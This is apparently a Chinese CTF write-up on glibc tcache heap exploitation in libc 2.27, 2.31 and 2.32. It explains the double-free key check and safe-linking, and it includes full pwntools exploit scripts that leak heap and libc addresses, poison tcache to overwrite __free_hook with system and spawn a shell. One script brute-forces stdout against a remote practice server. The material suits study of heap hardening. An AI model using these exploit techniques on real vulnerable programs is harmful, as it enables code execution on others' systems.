libc2.27在更新后,malloc源码发生了变化,基本上和libc2.31的源码一样,引入了key指针来避免double free,所以我们在2.27下的利用手法和2.31下的利用手法基本一致,直接篡改key指针即可绕过检查。

在老版libc下关于tcache的俩结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

从tcache中拿堆块的函数tcache_get()

1
2
3
4
5
6
7
8
9
10
11
12
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
assert (tc_idx < TCACHE_MAX_BINS);
assert (tcache->entries[tc_idx] > 0);
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
return (void *) e;
}

free后放入tcache中的函数tcache_put()

1
2
3
4
5
6
7
8
9
10
11
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

tcache bin和fastbin的管理方式很像,都采用FILO的单链表(理解为数据结构中的栈),但是tcache的优先级更高,并且在bin中,fastbin的fd指针指向上一个chunk的头部,而tcache会指向上一个chunk的数据部分。

旧版libc2.27中,tcache结构体没有引入key指针,可以随意double free,在UAF下,使得利用手法更为容易,并且在分配的过程中没有对size进行检查,所以在旧版libc2.27下很常见的一种利用手法就是填满tcache后,申请unsorted bin大小的chunk利用UAF进行地址泄露,利用tcache随意double free的特性来修改__free_hook指针为onegadget,原理同\_malloc_hook。

2.31

在libc2.31中,我们查看tcache的相关结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
// 新引入了key指针
struct tcache_perthread_struct *key;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
// 这个位置很有趣,在libc2.27中的数据结构是char一个字节,libc2.31被更新为uint16_t类型为2个字节了
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

从tcache中拿堆块的函数tcache_get()

1
2
3
4
5
6
7
8
9
10
11
12
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e->next;
--(tcache->counts[tc_idx]);
// 取出时将key字段设置为NULL
e->key = NULL;
return (void *) e;
}

free后放入tcache中的函数tcache_put()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

key字段用于检测是否存在double free,在_int_free中有这样一段代码来检测tcache中的double free

1
2
3
4
5
6
7
8
9
10
11
12
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

这段代码的意思就是如果key值等于tcache的地址,那么就进入tcache的链表,然后后移,判断当前堆块是否在链表中,如果在链表中,那么很显然就是double free了。绕过方法很简单,利用漏洞改掉key值即可,直接给干掉if判断了,就不会进入这个if分支了。

在UAF下的利用手法为首先填满tcache,然后申请unsorted bin大小的chunk,利用UAF泄露libc基址,最后通过修改tcache的指针轻松的将堆块申请到__free_hook,修改为system地址,然后free一个chunk,chunk的内容为”/bin/sh\x00”即可轻松getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from pwn import *

local = 1

binary = './UAF_glibc2.31'
libc_path = './libc-2.31.so'

if local == 1:
p = process(binary)

def dbg():
context.log_level = 'debug'

def add(index, size, content):
p.sendlineafter('>', '1')
p.sendafter('index', str(index))
p.sendafter('size', str(size))
p.sendafter('content:', content)


def edit(index, content):
p.sendlineafter('>', '2')
p.sendafter('index', str(index))
p.sendafter('content:', content)


def show(index):
p.sendlineafter('>', '4')
p.sendafter('index', str(index))


def free(index):
p.sendlineafter('>', '3')
p.sendafter('index', str(index))

message = "======================== LEAK HEAP ADDRESS ======================"
success(message)
for i in range(7):
add(i, 0x80, 'a')

add(7, 0x80, 'b')

for i in range(7):
free(i)

add(8, 0x10, 'protected')
free(7)
add(8, 0x40, '\n')
show(8)
libc = ELF(libc_path)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 138 - 0x10 - libc.sym['__malloc_hook']
log.success("LIBC:" + hex(libc_base))
__free_hook = libc_base + libc.sym['__free_hook']

message = "======================== TCACHE ATTACK ======================"
success(message)
system = libc_base + libc.sym['system']
edit(6, p64(__free_hook))

add(0, 0x80, 'hacker')
add(0, 0x80, p64(system))
add(0, 0x10, '/bin/sh\x00')
free(0)

p.interactive()

最后谈一下libc2.27和libc2.31的一些小tips,当我们攻击tcache_perthread_struct时,很常见的一个做法就是来将其记录counts的区域全部覆盖填满,这样我们再次申请的chunk可逃逸出tcache,在libc2.27中counts[TCACHE_MAX_BINS]的类型为char,即在相应size的位置上记录数量的大小是一个字节,而在libc2.31中相应的类型为uint16_t,大小是两个字节,所以我们之前的payload通常是b"\x07" * 0x40(从trcache_perthread_struct的数据区开始填充),在libc2.31中,payload需要改写成b"\x07" * 0x80,因为大小多了一倍,也相应的需要增加padding。

img

2.32

环境搭建

下载好源码后新建一个文件夹用于存放源码

新建一个文件夹用于存放编译后的libc

1
2
3
4
5
6
cd /glibc/glibc-2.32_src/           # 源码在这
sudo mkdir build
cd build
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og"
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og"
sudo ../configure --prefix=/glibc/2.32/ # 存放编译后的libc

若想调试malloc和free的过程,进入gdb后directory /glibc/glibc-2.32_src/malloc/,其中第二个位置填我们下载的glibc源码路径。

记得binary程序需要使用patchelf修改ld加载器和libc

1
2
patchelf --set-interpreter /glibc/2.32/lib/ld-2.32.so
LD_PRELOAD=/glibc/2.32/lib/libc-2.32.so ./binary

跟踪调试

我们简单写一个malloc和free的demo示例程序,使用gdb来调试malloc和free的过程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdlib.h>

int main()
{
void* p[20];
p[0] = malloc(0x80);
p[1] = malloc(0x80);
free(p[0]);
free(p[1]);
p[2] = malloc(0x80);
return 0;
}
In file: /home/lemon/Documents/pwn/UAF/2.32/tcache_32.c
3 int main()
4 {
5 void* p[20];
6 p[0] = malloc(0x80);
7 p[1] = malloc(0x80);
8 free(p[0]);
9 free(p[1]);
10 p[2] = malloc(0x80);
11 }
free过程

我们定位到第八行后,按s步入free的过程

img

一直走到_int_free函数,步入此函数

img

向后运行,准备调用tcache_put函数将当前准备free的chunk放入tcache结构体中

img

tcache相关的结构体如下,可以发现其实相对于libc-2.31的代码tcache结构体没有发生变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

在libc2.32中,tcache_put函数如下,可以发现相对于libc-2.31的代码,key的值还是赋值为tcache,但是e的next指针发生了变化,不再是下一个tcache的地址,而是引入了一个宏PROTECT_PTR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

我们找到相应的宏定义

img

1
2
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))

这个宏定义就是第一个参数右移12位再和第二个参数做一次异或,也就是说e->next会指向这个值,我们在gdb中查看,发现确实变为了一个奇怪的值。

img

我们可以来验证一下

1
e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);

第一个参数是&e->next,也就是这一个位置的地址,为0x55555555a2a0,第二个参数是tcache->entries[tc_idx],因为当前tcache的链表其实是空的(之前还没有free过chunk),所以第二个参数值为0,我们用宏定义做一个运算,将第一个参数右移12位后异或0,发现得出的值与填入e->next的值一致。

img

执行完tcache_put函数后就return了。值得关注的是libc2.32的safe-linking机制,就是在e->next位置不再直白的插入下一块chunk的地址,而是利用了地址随机化技术,将当前地址右移后与tcache链表尾部的地址做了一次异或再插入链表尾部。

我们看malloc时发生了什么。

malloc过程

走到这里准备单步进入malloc函数

img

准备进入tcache_get函数

img

tcache_get函数源代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

与libc2.31做对比的话,libc2.31是tcache->entries[tc_idx] = e->next;

而libc2.32是tcache->entries[tc_idx] = REVEAL_PTR (e->next);

多了一个宏定义REVEAL_PTR,我们展开后是#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

本质还是调用了PROTECT_PTR这个宏,我们观察参数,这个宏是让ptr的地址右移后和ptr做一次异或,即可恢复出e->next

我们继续向后运行

执行那个宏之前tcache_perthread_struct中的链表的值是如图所示的值

img

执行后发生变化如图所示

img

完整的构成了safe-linking机制。

利用手法

在UAF的场景下,我们可以直接用show即可泄露出e->next值,因为最初tcache链表是为空的,也就是说safe-linking机制只相当于用堆地址右移了12位,通过左移即可恢复出堆地址,从而泄露出堆的基址,泄露出堆地址以后就可以来伪造tcache的next位了,我们可以在free态的chunk中修改next为(&next)>>12 & __free_hook(因为我们泄露出堆基址所以可以轻松的获取到&next的值),这样调用完tcacheget之后就可以把\_free_hook链入到可供我们申请的链表当中,即可覆写__free_hook来getshell。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
from pwn import *

local = 1
binary = './UAF_glibc2.32'
libc_path = './libc-2.32.so'

if local == 1:
p = process(binary)

def dbg():
context.log_level = 'debug'

def add(index, size, content):
p.sendlineafter('>', '1')
p.sendafter('index', str(index))
p.sendafter('size', str(size))
p.sendafter('content:', content)


def edit(index, content):
p.sendlineafter('>', '2')
p.sendafter('index', str(index))
p.sendafter('content:', content)


def show(index):
p.sendlineafter('>', '4')
p.sendafter('index', str(index))


def free(index):
p.sendlineafter('>', '3')
p.sendafter('index', str(index))


def pack(pos, ptr):
return (pos >> 12) ^ ptr


def gdbg():
gdb.attach(p)
pause()


libc = ELF(libc_path)

message = "======================== LEAK HEAP ADDRESS ======================"
success(message)
add(0, 0x90, 'aaaa')
free(0)
show(0)
p.recvuntil("?\n")
heap = u64(p.recv(5)[-5:].ljust(8, b'\x00'))
heap = heap << 12
info("HEAP BASE ----> " + hex(heap))

message = "======================== LEAK LIBC ADDRESS ======================"
success(message)
for i in range(7):
add(i, 0x80, 'dawn it')
add(7, 0x80, 'a')
add(8, 0x10, 'protect')
for i in range(7):
free(i)

free(7)
edit(7, 'a')
show(7)
libc_base = u64(p.recvuntil(
'\x7f')[-6:].ljust(8, b'\x00')) - 193 - 0x10 - libc.sym['__malloc_hook']
info("LIBC ----> " + hex(libc_base))
edit(7, '\x00')

message = "======================== TCACHE ATTACK ======================"
success(message)
__free_hook = libc_base + libc.sym['__free_hook']
add(0, 0x20, 'aaaa')
add(1, 0x20, 'bbbb')
free(1)
free(0)
edit(0, p64(pack(heap + 0x730, __free_hook)))
add(0, 0x20, '/bin/sh\x00')
add(1, 0x20, p64(libc_base + libc.sym['system']))
free(0)

p.interactive()

libc 2.32 + 限制分配堆块小于 0x80 + 打印1次、编辑2次

glibc 2.32 中引入了一个简单的异或加密机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. */
static __always_inline void *
tcache_get (size_t tc_idx)
{
tcache_entry *e = tcache->entries[tc_idx];
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
tcache->entries[tc_idx] = REVEAL_PTR (e->next);
--(tcache->counts[tc_idx]);
e->key = NULL;
return (void *) e;
}

一、新增了在从 tcache 中取出 chunk 时会检测 chunk 地址是否对齐的保护

二、引入了两个新的宏对 tcache 中存/取 chunk 的操作进行了一层保护,即在 new chunk 链接 tcache 中 old chunk 时会进行一次异或运算,代码如下:

1
2
3
#define PROTECT_PTR(pos, ptr) \
((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr) PROTECT_PTR (&ptr, ptr)

tcache_entry->next中存放的chunk地址为与自身地址进行异或运算后所得到的值, 这就要求我们在利用 tcache_entry 进行任意地址写之前 需要我们提前泄漏出相应 chunk 的地址,即我们需要提前获得堆基址后才能进行任意地址写,这给传统的利用方式无疑是增加了不少的难度

不过若是我们能够直接控制 tcache struct,则仍然可以直接进行任意地址写,这是因为在 tcache struct 中存放的仍是未经异或运算的原始 chunk 地址

glibc2.32下堆基址的新泄露方式

虽然这种简单的异或加密方式给 tcache 提高了不少的安全系数,但是同样也提供给我们新的泄露堆基址的途径

我们不难观察到,在 tcache 的一个 entry 中放入第一个 chunk 时,其同样会对该 entry 中的 “chunk” (NULL)进行异或运算后写入到将放入 tcache 中的 chunk 的 fd 字段,若是我们能够打印该 free chunk 的fd字段,便能够直接获得未经异或运算的堆上相关地址

image-20220808084042627

重新回到题目,由于新机制的存在,若是我们想要通过 double free 进行任意地址写,则不仅需要清除 key 位,还需要获得堆基址,不过正如前面所讲到的,堆基址的泄露比以前更简单了些

但是本题只允许打印一次、编辑两次,后续的操作我们无疑还是需要泄露libc基址的,而打印的次数在泄露堆基址时已经用掉了

考虑到当我们将 tcache struct 送入 unsorted bin 中之后,其上会残留 main_arena + 0x60 的指针,而这个指针和 stdout 离得很近

image-20220808084439469

那么我们同样可以以 1/16 的几率爆破到 stdout 后修改 _IO_write_base 的低字节为 \x00 后便有一定几率泄露出 libc 基址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import*
context.log_level = 'debug'
global p
libc = ELF('./libc.so.6')#ELF('/lib/x86_64-linux-gnu/libc.so.6')#

def cmd(command:int):
p.recvuntil(b">>")
p.sendline(str(command).encode())

def new(size:int, content):
cmd(1)
p.recvuntil(b"Size:")
p.sendline(str(size).encode())
p.recvuntil(b"Content:")
p.send(content)

def free():
cmd(2)

def show():
cmd(3)

def edit(content):
cmd(5)
p.recvuntil(b"Content:")
p.send(content)

def exp(hit_byte):
new(0x80, b'arttnba3')
free()
show()

heap_leak = u64(p.recv(6).ljust(8, b'\x00'))
heap_base = heap_leak * 0x1000
log.success('heap base: ' + hex(heap_base))

edit(b'arttnba3arttnba4')
free()
edit(p64(heap_leak ^ (heap_base + 0x10)))
new(0x80, b'arttnba3')
new(0x80, b'\x00\x00' * (0xe + 0x10 + 9) + b'\x07\x00')
free()

new(0x40, (b'\x00\x00' * 3 + b'\x01\x00' + b'\x00\x00' * 2 + b'\x01\x00').ljust(0x70, b'\x00')) # unknown reason, bigger than 0x48 will failed.
new(0x30, b'\x00'.ljust(0x30, b'\x00'))
new(0x10, p64(0) + b'\xc0' + p8(hit_byte * 0x10 + 6)) # 1/16 to hit stdout
new(0x40, p64(0xfbad1800) + p64(0) * 3 + b'\x00')

libc_base = u64(p.recvuntil(b'\x7F')[-6:].ljust(8,b'\x00')) - 0x1e4744
new(0x10, p64(libc_base + libc.sym['__free_hook']))
new(0x70, p64(libc_base + libc.sym['system']))
new(0x10, b'/bin/sh\x00')
free()
p.interactive()

if __name__ == '__main__':
count = 1
i = 0
while True:
try:
print('the no.' + str(count) + ' try')
print(b'try: ' + b'\xc0' + p8(i * 0x10 + 6))
p = remote('node3.buuoj.cn', 26018)#process('./ff') #
exp(i)
except Exception as e:
print(e)
p.close()
i = i + 1
count = count + 1
i = i % 16
continue